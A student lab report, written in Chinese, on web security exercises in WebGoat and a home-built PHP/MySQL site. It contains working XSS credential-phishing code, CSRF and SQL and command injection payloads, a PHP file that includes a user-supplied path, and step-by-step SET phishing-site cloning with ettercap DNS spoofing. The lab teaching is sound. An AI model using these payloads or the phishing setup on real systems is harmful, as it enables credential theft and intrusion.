六

20145333茹翔《网络对抗》Exp9 Web安全基础实践

20145333茹翔《网络对抗》Exp9 Web安全基础实践

基础问题回答

1、SQL注入原理，如何防御

• SQL注入

• 就是通过把SQL命令插入到“Web表单递交”或“输入域名”或“页面请求”的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行，可能实现对后台数据库进行各种操作，甚至造成破坏后台数据库等严重后果。

• 防御

• 通过正则表达式，或限制长度，对用户的输入进行校验等。

• 不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

• 不把机密信息明文存放，请加密或者hash掉密码和敏感的信息。

• 应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装，把异常信息存放在独立的表中。

2、XSS攻击的原理，如何防御

• 原理：在Web页面里插入恶意Script代码，当用户浏览网页时，嵌入其中Web里面的Script代码会被执行，一个看似安全的网页却有可能盗取用户的cookies，或者登录名密码等信息。

• 防御

• 在输入方面对用户提交的的内容进行可靠的输入验证。

• 可以对输入的地方进行输入字数控制

• 脚本执行区，禁止输入。

3、CSRF攻击原理，如何防御

• 我们知道XSS是跨站脚本攻击，就是在用户的浏览器中执行攻击者的脚本，来获得其cookie等信息。而CSRF是借用用户的身份，向web server发送请求，因为该请求不是用户本意，所以称为“跨站请求伪造”。

• 对于CSRF的防御也可以从以下几个方面入手：

• 通过referer、token或者验证码来检测用户提交；

• 尽量不要在页面的链接中暴露用户隐私信息，对于用户修改删除等操作最好都使用post操作；

• 避免全站通用的cookie，严格设置cookie的域。

WebGoat

• WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，目前提供的训练课程有很多，包含了XSS、线程安全、SQL注入等，我们本次的实验就是在WebGoat平台上进行。

• WebGoat分为简单版和开发板，简单版是个Java的Jar包，只需要有Java环境即可，我们在命令行里执行：java -jar webgoat-container-7.0.1-war-exec.jar运行WebGoat

• WebGoat使用8080端口，所以在浏览器上访问localhost:8080/WebGoat，进入WebGoat之后，可以看到有很多题目来让我们进行练习。

Cross-Site Scripting（XSS）练习

Phishing with XSS

• 这个题目我们要在搜索框中输入XSS攻击代码，利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form，让受害人在我们创建的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻击代码如下：

   </form>
  <script>
      function hack(){ 
      XSSImage=new Image;
      XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
      } 
  </script>
  <form name="phish">
  <br>
  <br>
  <HR>
      <H2>This feature requires account login:</H2>
  <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
  <br>
      <input type="submit" name="login" value="login" onclick="hack()">
  </form>
  <br>
  <br>
  <HR>

• 在搜索框中输入攻击代码后点击搜索，会看到一个要求输入用户名密码的表单，如图所示：
  

• 输入用户名密码，点击登录，WebGoat会将你输入的信息捕获并反馈给你：
  

• 攻击成功！
  

Stored XSS Attacks

• 我们的目标是要创建非法的消息内容，可以导致其他用户访问时载入非预期的页面或内容，在上个实验中我们也做过，在message中输入一串代码<script>alert("rx attack succeed!");</script>
  

• 提交后，再次点击刚刚创建的帖子，成功弹出窗口，说明攻击成功：
  

Reflected XSS Attacks

• 当我们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展示给我们看：
  

• 这时如果我们将带有攻击性的URL作为输入源，例如依旧输入<script>alert("rx attack succeed!");</script>，就会弹出对话框：
  

• 虽然这个效果和上一个存储型XSS实验的效果类似，但是两者所用的原理不一样，存储型XSS是持久化的，代码是存储在服务器中，比较典型的例子就是上面所用的留言板，而这个实验中用的是反射型XSS攻击是非持久化的，应用的场景比如欺骗用户自己去点击链接才能触发XSS代码，也就是说它的代码是不存在服务器中的，所以一般来说存储型XSS攻击危害更大。

Cross Site Request Forgery(CSRF)

• 我们的目的是要写一个URL诱使其他用户点击，从而触发CSRF攻击，我们可以以图片的的形式将URL放进Message框，这时的URL对其他用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。

• 我们在message框中输入这样一串代码：<img src="http://localhost:8080/WebGoat/attack?Screen=286&menu=900&transferFunds=4000"/>，注意这里面的Screen和menu的值每个人的电脑可能不一样，可以在Parameters进行查看

• 提交后，会在消息列表中看到一个新的消息，点击该消息，当前页面就会下载这个消息并显示出来，转走用户的4000元，从而达到CSRF攻击的目的。

CSRF Prompt By-Pass

• 我们依旧和上一个一样要构造CSRF攻击，不过这次其包括了两个请求，一是转账请求，二是确认转账成功请求，即需要额外传递两个参数给服务器（transferFunds=4000，transferFunds=CONFIRM）

• 一开始我是直接在message中写入了攻击代码，但是没有成功，于是我换了一种方法，先在浏览器中手动输入URL：localhost:8080/WebGoat/attack?Screen=269&menu=900&transferFunds=5000进入确认转账请求页面：
  

• 于是点击了CONFIRM按钮之后，再在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM，成功转走了5000元：
  

Injection Flaws练习

Command Injection

• 这个题是要求能够在目标主机上执行系统命令，我们可以通过火狐浏览器下的一个扩展Firebug对源代码进行修改，例如在BackDoors.help旁边加上"& netstat -an & ipconfig"：
  

• 之后在下拉菜单中能看到我们修改后的值：
  

• 选中修改后的值再点view，可以看到命令被执行，出现系统网络连接情况：
  

Numeric SQL Injection

• 我们要通过注入SQL字符串的方式查看所有的天气数据，我们上次实验做过类似的，只要加上一个1=1这种永真式即可达到我们的目的，依旧利用firebug，在任意一个值比如101旁边加上or 1=1：
  

• 选中Columbia，点Go，可以看到所有天气数据：
  

Log Spoofing

• 我们输入的用户名会被追加到日志文件中，所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”，在User Name文本框中输入rx%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符：
  

• 如图所示，攻击成功：
  

String SQL Injection

• 还是和之前一样，基于select语句构造SQL注入字符串，在文本框中输入' or 1=1 --

• 点Go，攻击成功，所有用户信息都被显示出来：
  

LAB:SQL Injection(Stage 1:String SQL Injection)

• 以用户Neville登录，在密码栏中输入' or 1=1 --进行SQL注入，但是登录失败：
  

• 后面查看了一下网页源码，发现输入框对输入的字符长度进行了限制，最多只允许输入8个字符：
  

• 对字符长度进行修改，然后重新登录，登录成功：
  

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

• 我们还是用上一题的办法先以用户名Larry登录，登录之后看到浏览员工信息的按钮是ViewProfile：
  

• 在网页代码中分析一下这个按钮，发现这个地方是以员工ID作为索引传递参数的，我们要达到通过Larry来浏览老板账户信息的目的，一般来说老板的工资都应该是最高的，所以把其中的value值改为101 or 1=1 order by salary desc --，这样老板的信息就会被排到第一个：
  

• 之后就可以查看到老板的信息：
  

Database Backdoors

• 先输一个101，得到了该用户的信息：
  

• 可以发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=10000，成功把该用户的工资涨到了10000：
  

实验问题回答

（1）什么是表单

• 表单是一个包含表单元素的区域，表单元素是允许用户在表单中（比如：文本域、下拉列表、单选框、复选框等等）输入信息的元素，表单在网页中主要负责数据采集功能，一个表单有三个基本组成部分：表单标签、表单域、表单按钮

（2）浏览器可以解析运行什么语言。

• 支持HTML（超文本标记语言）、XML（可扩展标记语言）以及Python、PHP、JavaScript、ASP等众多脚本语言。

（3）WebServer支持哪些动态语言

• JavaScript、ASP、PHP、Ruby等脚本语言。

实践过程记录

Apache

• 先通过apachectl start命令开启Apach,使用netstat -aptn命令查看端口占用

• 因为端口号80已经被占用（上次实验设置的），所以先修改/etc/apache2/ports.conf里的端口为5333后重新开启：
  

• 可以在浏览器中输入localhost：5333来检查是否正常开启，这里可以看到打开了上次实验的网页，开启正常：
  

简单的网页编写

• 访问Apache工作目录cd /var/www/html，新建一个5333.html文件

• 编写一个含有表单的html
  

• 打开浏览器访问：localhost:5333/5333.html，成功出现如下界面
  

• 在上面的文本框内键入几个字母，然后点击确认按钮数据会传送到 "html_form_action.php" 的页面，由于没有对此页面进行编辑，出现的是404
  

javascript相关

• 相关概念：JavaScript是一种广泛用于客户端Web开发的脚本语言，常用来给HTML网页添加动态功能，比如响应用户的各种操作。
• 文档对象模型(Document Object Model，简称DOM，是W3C组织推荐的处理可扩展标志语言的标准编程接口。

• 编写验证用户名和密码的规则：（比如用户名和密码不能为空）

  <script>
  function nameText(){
  var name= document.getElementByIdx_x ("username");
      var divID= document.getElementByIdx_x ("divName");
      divID.innerHTML="";
      if(name.value==""){
           divID.innerHTML="用户名不能为空";
           return false;
      }
  }
  function passText(){
  var pass= document.getElementByIdx_x ("password");
      var divIP= document.getElementByIdx_x ("divPass");
      divIP.innerHTML="";
      if(pass.value==""){
           divIP.innerHTML="密码不能为空";
           return false; 
      }
  }
  </script>

PHP测试

• 新建一个PHP测试文件vi /var/www/html/test.php，输入如下

  <?php
  echo ($_GET["A"]);

  include($_GET["A"]);
  
  echo "php page 5212!<br>";

  ?>

• 用浏览器打开localhost:5333/test.pgp，可以看见如下界面，测试成功
  

MySQL基础

• 使用命令/etc/init.d/mysql start打开mysql服务

• 输入mysql -u root -p，并根据提示输入密码，默认密码为p@ssw0rd，进入MySQL:
  

• 可以使用命令show databases；可以查看基本信息（分号不可以漏掉,分号代表命令的结束）：
  

• 可以通过如下方式更改密码：

·输入use mysql;，选择mysql数据库

·输入select user, password, host from user;，mysql库中的user表中存储着用户名、密码与权限

·输入UPDATE user SET password=PASSWORD("新密码") WHERE user='root';

·输入flush privileges;，更新权限

·输入quit退出

• 重新登录就可以发现密码修改成功

• 在Mysql中建库建表，输入如下

  CREATE SCHEMA 库表的名称;
  CREATE TABLE 库表的名称.users (
  userid INT NOT NULL COMMENT '',
  username VARCHAR(45) NULL COMMENT '',
  password VARCHAR(256) NULL COMMENT '',
  enabled VARCHAR(5) NULL COMMENT '',
  PRIMARY KEY (userid) COMMENT '');
  

• 向表中添加用户
  

• 现在再查看信息就可以看到新建表：
  

php+mysql编写网页

• 在/var/www/html文件夹下输入vim login.html，编写登录网页
  

• 输入vim login.php，通过php实现对数据库的连接
  

• 在浏览器中输入localhost:5333/login.html访问自己的登陆页面
  

• 在登录页面中输入数据库中存有的用户名和密码并点击提交进行用户认证登录成功，输入数据库中没有的就会认证失败
  
  

SQL注入

• SQL注入是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
  具体来说，它是利用现有应用程序，将(恶意的)SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。
  简单地说，SQL注入的产生原因通常是将用户输入的字符串，当成了 “sql语句” 来执行。

• 构造SQL语句：在用户名输入框中输入' or 1=1#,密码随便输入，这时候的合成后的SQL查询语句为select * from users where username='' or 1=1#' and password=md5('')
  以下的两句sql语句等价：
  select * from users where username='' or 1=1#' and password=md5('')
select * from users where username='' or 1=1

• 因为1=1永远是都是成立的，即where子句总是为真，所以能够成功登录
  
  

• 通过SQL注入将用户名和密码保存在数据库中

  ';insert into users(userid,username,password,enabled) values(5333,'145333',password("145333"),"TRUE");#

  
  

• 在登录页面输入用户名145333密码145333，成功
  

XSS攻击

• XSS攻击：跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞，它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。

• 进行一个简单的测试，在用户名输入框中输入<img src="20145333.jpg" />20145333</a>读取/var/www/html目录下的图片:
  

• 点击登录后我们可以看到图片：
  

发帖和会话管理的实现

• 我们可以利用PHP实现会话管理，这部分实践可以详细参考ltc同学的博客与代码。
  将代码依旧放在/var/www/html目录下，在浏览器中输入http://localhost:5333/logIn.php，进行登录：
  

• 登录成功后如图所示：
  

• 点击start a new post!发帖，进入如下界面：
  

• 提交之后跳转到如下界面，可以选择查看发过的帖子、继续发帖、返回或者退出登录：
  

• 点击CHECK查看发过的帖子，但是却什么内容都没有，由于这个操作是通过从data.txt文件中读取之前发帖时保存的记录来查看发帖内容，但是在/var/www/html目录下根本没有找到这个文件，这就说明之前创建也没有成功，后面发现/var/www/html底下文件默认的都是属于root的，其他用户没有权限进行操作，所以我们可以先使用touch data.txt建一个data.txt文件，再对该文件进行加权：
  

• 再次发帖查看，可以成功显示之前的发帖历史：
  

1.实验后回答问题

（1）通常在什么场景下容易受到DNS spoof攻击

• 局域网内的攻击，arp入侵攻击和DNS欺骗攻击

• 公共wifi点上的攻击。

（2）在日常生活工作中如何防范以上两攻击方法

• 输入个人信息前先检查域名地址是否正确
• 访问一些重要的网站时，尽量避免使用DNS，直接使用IP地址登录。

3.实践过程记录

简单应用SET工具建立冒名网站

• 确保kali和靶机能ping通；

• 为了使得apache开启后，靶机通过ip地址可以直接访问到网页，apache的监听端口号应该为80，于是进行查看与修改。查看80端口是否被占用，我的被PID=571的进程占用了，kill这个进程。
  

• 在终端中输入命令：sudo vi /etc/apache2/ports.conf

• 修改apache的配置文件中的监听端口为80
  

• 在终端中输入命令：apachectl start打开apache2.
• 新开一个终端窗口输入：setoolkit，出现如下开启界面。

• 选择1（社会工程学攻击）
  

• 选择2，网页攻击
  

• 选择3，钓鱼网站攻击
  

• 选择2，克隆网站
  

• 输入kali的IP，克隆的网页：http://www.google.cn/，开始监听
  

• 克隆好的钓鱼网站不能直接发送IP地址，需要对网页域名进行伪装，以诱骗收信人的点击。登入：http://short.php5developer.com/，如下图所示输入kali的ip后，点击short，得到伪装地址
  

• 将得到伪装地址在靶机的浏览器中打开，会先出现如下图示的界面：
  

• 10秒后会跳转到一个google登录界面，输入账号登录：
  

• 在kali端的/var/www/html的文件夹下，会自动生成一个以攻击时间命名的文件，打开后会看到相关登录信息
  

• 做这个实验时，我第一次选了QQ邮箱mail.qq.com，结果最后出不了预期的结果，抓不到信息，然后选了Google的登录网站才成功。

ettercap DNS spoof

• 输入命令：ifconfig eth0 promisc改kali网卡为混杂模式

• 对ettercap的dns文件进行编辑。输入命令vi /etc/ettercap/etter.dns，在如下图示的位置添加两条指令：
  

• 查看主机的IP与网关。

• 在cmd中输入ping baidu.com，查看百度的ip地址。
  

• 开始在kali中攻击，输入ettercap -G,开启ettercap，会自动弹出来一个ettercap的可视化界面，点击工具栏中的Sniff——>unified sniffing.
  

• 选择eth0——>ok
  

• 在工具栏中的host下点击扫描子网，并查看存活主机

• 然后将网关和主机IP分别添加到Target 1 和 Target 2。
  

• 点击Mitm选项，选择远程连接
  

• 点击plugins——>manage plugins选项。选择DNS_Spoof，点击右上角的start开始sniffing
  

• 在windows系统下cmd中输入ping baidu.com，可以发现，已经成功连接到kali上了。
  

• 在浏览器中访问www.rx.baidu.com,就会跳转到之前克隆的网页